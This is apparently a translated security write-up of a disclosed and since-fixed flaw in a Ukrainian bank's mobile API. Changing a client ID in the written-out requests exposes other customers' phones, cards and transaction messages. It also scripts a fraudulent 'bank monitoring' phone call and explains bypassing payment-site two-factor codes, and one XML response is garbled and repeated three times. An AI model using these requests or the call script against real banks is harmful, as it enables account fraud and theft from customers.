Obtención de información y omisión de la autenticación de dos factores en tarjetas bancarias de TOP-10 (Ucrania)

El año pasado, un banco ucraniano del TOP-10 me invitó a probar sus sistemas de banca móvil e Internet para detectar vulnerabilidades.

En primer lugar, decidí comenzar rastreando las solicitudes de la aplicación móvil. Con la ayuda de Fiddler (Burp o Charles), comencé a considerar cada solicitud de solicitud, realizando a su vez todas las operaciones disponibles en mi cuenta. La banca móvil no estaba protegida por anclaje SSL, por lo que no fue difícil.

En las solicitudes GET y POST, intenté cambiar los parámetros para obtener lo que estaba buscando, pero durante mucho tiempo no tuve éxito: obtuve errores como "Acceso denegado". Sin embargo, encontré las consultas que necesitaba.

Por ejemplo:

1. Al ejecutar una solicitud POST a una dirección del formulario

https://api.somebank.ua:8243/services/MobileGW.MobileGWHttpsSoap11Endpoint 

Con ciertos parámetros:

 SOAPAction: urn:getChannels Content-Type: text/xml Content-Length: 780 Host: api.somebank.ua:8243 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0 

cuerpo de solicitud:
 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ib="http://somebank.com.ua/"> <soapenv:Header> <ib:sbbSecurityToken>594d608e-XXXX-XXXX-XXXX-31a7d4ddb016</ib:sbbSecurityToken> <ib:locale>ru</ib:locale> <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> <wsse:UsernameToken> <wsse:Username>mobile</wsse:Username> <wsse:Password>XXXXXXXXXXXXX</wsse:Password> </wsse:UsernameToken> </wsse:Security> </soapenv:Header> <soapenv:Body> <ib:getChannels> <ib:clientId>3618336</ib:clientId> <ib:cardId>?</ib:cardId> </ib:getChannels> </soapenv:Body> </soapenv:Envelope> 

En respuesta, recibí mucha información sobre otro cliente:

 <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> </ SBB: token> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> </ SBB: token> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> 

Estos son los siguientes datos:

  1. número de teléfono del cliente ("número de teléfono");
  2. número de tarjetas (cada parámetro "cardId");
  3. números truncados de tales tarjetas ("hashNum");
  4. fecha de registro en la banca por Internet ("regDate");
  5. en qué dispositivo se usa la aplicación: Android o iOS ("plataforma");
  6. y así sucesivamente

Al cambiar el parámetro "ib: clientId" en el cuerpo de la solicitud (en la respuesta es "sbb: extClientId") de 3618336 a cualquier otro, obtenemos información sobre otro cliente.

Sigamos adelante.

2. Ahora para aquellos clientes donde "sbb: channelId" es "2" (el canal para recibir notificaciones de clientes: si 1 - SMS, 2 - push), tome clientId (extClientId) y sustitúyalo en la solicitud GET por la dirección

 https://api.somebank.com.ua/commgw/message/history?extClientId=3618336&pageNumber=1&pageSize=10 

con los siguientes parámetros:

 Authorization: Bearer 0e95863b-XXXX-XXXX-XXXX-71941bfb0733 Content-Type: application/json Host: api.somebank.com.ua Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0 

En respuesta, recibimos notificaciones push que se envían a este cliente:

 [{"messageId":"3110600776643113261","messageBody":"Karta 5123-1235 operaciya -2861.83UAH 25.08.18 15:32 SHOP EPITSENTR, UA Dostupno: 28069.91UAH"}, {"messageId":"7150183459642079408","messageBody":"Karta 5123-1235 operaciya 56.8UAH 12/08 12:57 SOCAR PETROL STATIONS Dostupno: 30931.74UAH"}, {"messageId":"1688468957246607805","messageBody":"Karta 5123-1235 operaciya 814.3UAH 08/08 16:54 TOV AGP 5 Z PDV Dostupno: 30988.54UAH"}] 

Aquí puedes ver:

  1. en qué tarjeta estaba la operación;
  2. por que cantidad;
  3. fecha y hora de la operación;
  4. qué tipo de operación era (comprar en una tienda, retirar de un cajero automático o caja registradora, reponer una tarjeta, etc.);
  5. el punto de venta donde se realizó la operación, incluido el código de autorización necesario para confirmar el pago en los sitios de pago: LookUp, VCODE, CardVerif, más sobre eso a continuación;
  6. saldo de la tarjeta después de cada operación.

Dada la gran cantidad de datos recibidos y el uso de la ingeniería social, fue posible retirar dinero de las tarjetas de los clientes en los sitios de pago.

Por ejemplo, un estafador llamará al +380509876543 con la siguiente conversación:

 Karta 5111-1115 operaciya -62.08UAH 23.09.18 03:38 UBER TRIP PKGT4 HELP.UBER, NL Dostupno: 1349.88UAH Karta 5111-1115 operaciya -50.00UAH 22.09.18 19:22 TAVRIYA PLUS, UA Dostupno: 1411.96UAH Karta 5111-1115 operaciya -29.00UAH 22.09.18 10:22 MAGIC SNAIL PARK SHEVCHEN, UA Dostupno: 1461.96UAH 

- Buenas tardes, el empleado de monitoreo de SomeBank te está molestando. Detectamos actividad sospechosa en su tarjeta después de la última operación. ¿Pagó con una tarjeta 5111-1115 por UAH 62.08?
- Probablemente si.
- Esta operación fue hoy, 23/09/18, a las 03:38 en UBER. ¿Confirmas esta operación?
- Ah, sí, fui yo.
- Y antes de eso, te estableciste en TAVRIYA PLUS por 50 UAH. y compré café en SHEVCHENko PARK por 29 UAH, ¿verdad?
Sí, exactamente.
- bien. Para cancelar una operación fraudulenta por UAH 444, dígame el número de la sucursal donde se emitió su tarjeta: estos son tres números en el reverso de la tarjeta, y también ...

Si el cliente duda, puede nombrar sus otras operaciones; con la vulnerabilidad, puede verlas un número ilimitado.



Entonces, como parte del estudio de la aplicación móvil, se encontraron métodos para obtener los siguientes datos:

  1. la capacidad de evitar la autenticación de dos factores en los sitios de pago;
  2. número de teléfono del cliente;
  3. el número de sus cartas;
  4. números de tarjeta truncados;
  5. fecha de registro en la banca en línea;
  6. Mensajes que se envían al cliente en el teléfono inteligente. Incluir información:
  7. en qué tarjeta estaba la operación;
  8. por que cantidad;
  9. fecha y hora de la transacción;
  10. qué tipo de transacción fue (comprar en una tienda, retirar de un cajero automático o caja registradora, reponer una tarjeta, etc.);
  11. punto de venta donde se realizó esta operación, incluido el código de autorización (LookUp);
  12. saldo de la tarjeta después de la operación;
  13. y mucho mas

Explicaré la seriedad de la Cláusula 11. Dado que las tarjetas de este banco no tienen 3D-Secure (cuando se envía un código al cliente por SMS que debe ingresarse para confirmar la operación), servicios de pago (por ejemplo, Portmone, iPay, EasyPay y muchos otros) realizar una operación en dichas tarjetas sin verificación adicional. O solicitan un código especial 2FA (código de búsqueda), que está contenido en los detalles de la operación, en nombre del punto de venta.

Por lo tanto, los estafadores pueden encontrar fácilmente información sobre los clientes y, para confirmar los pagos, simplemente verán los códigos necesarios en el sistema bancario.

También me gustaría señalar que el servicio no bloqueó múltiples solicitudes y, al clasificar los datos, fue posible recopilar una base de datos con una gran cantidad de información.

Algún tiempo después de informar las vulnerabilidades, fueron reparadas.

Source: https://habr.com/ru/post/441104/


All Articles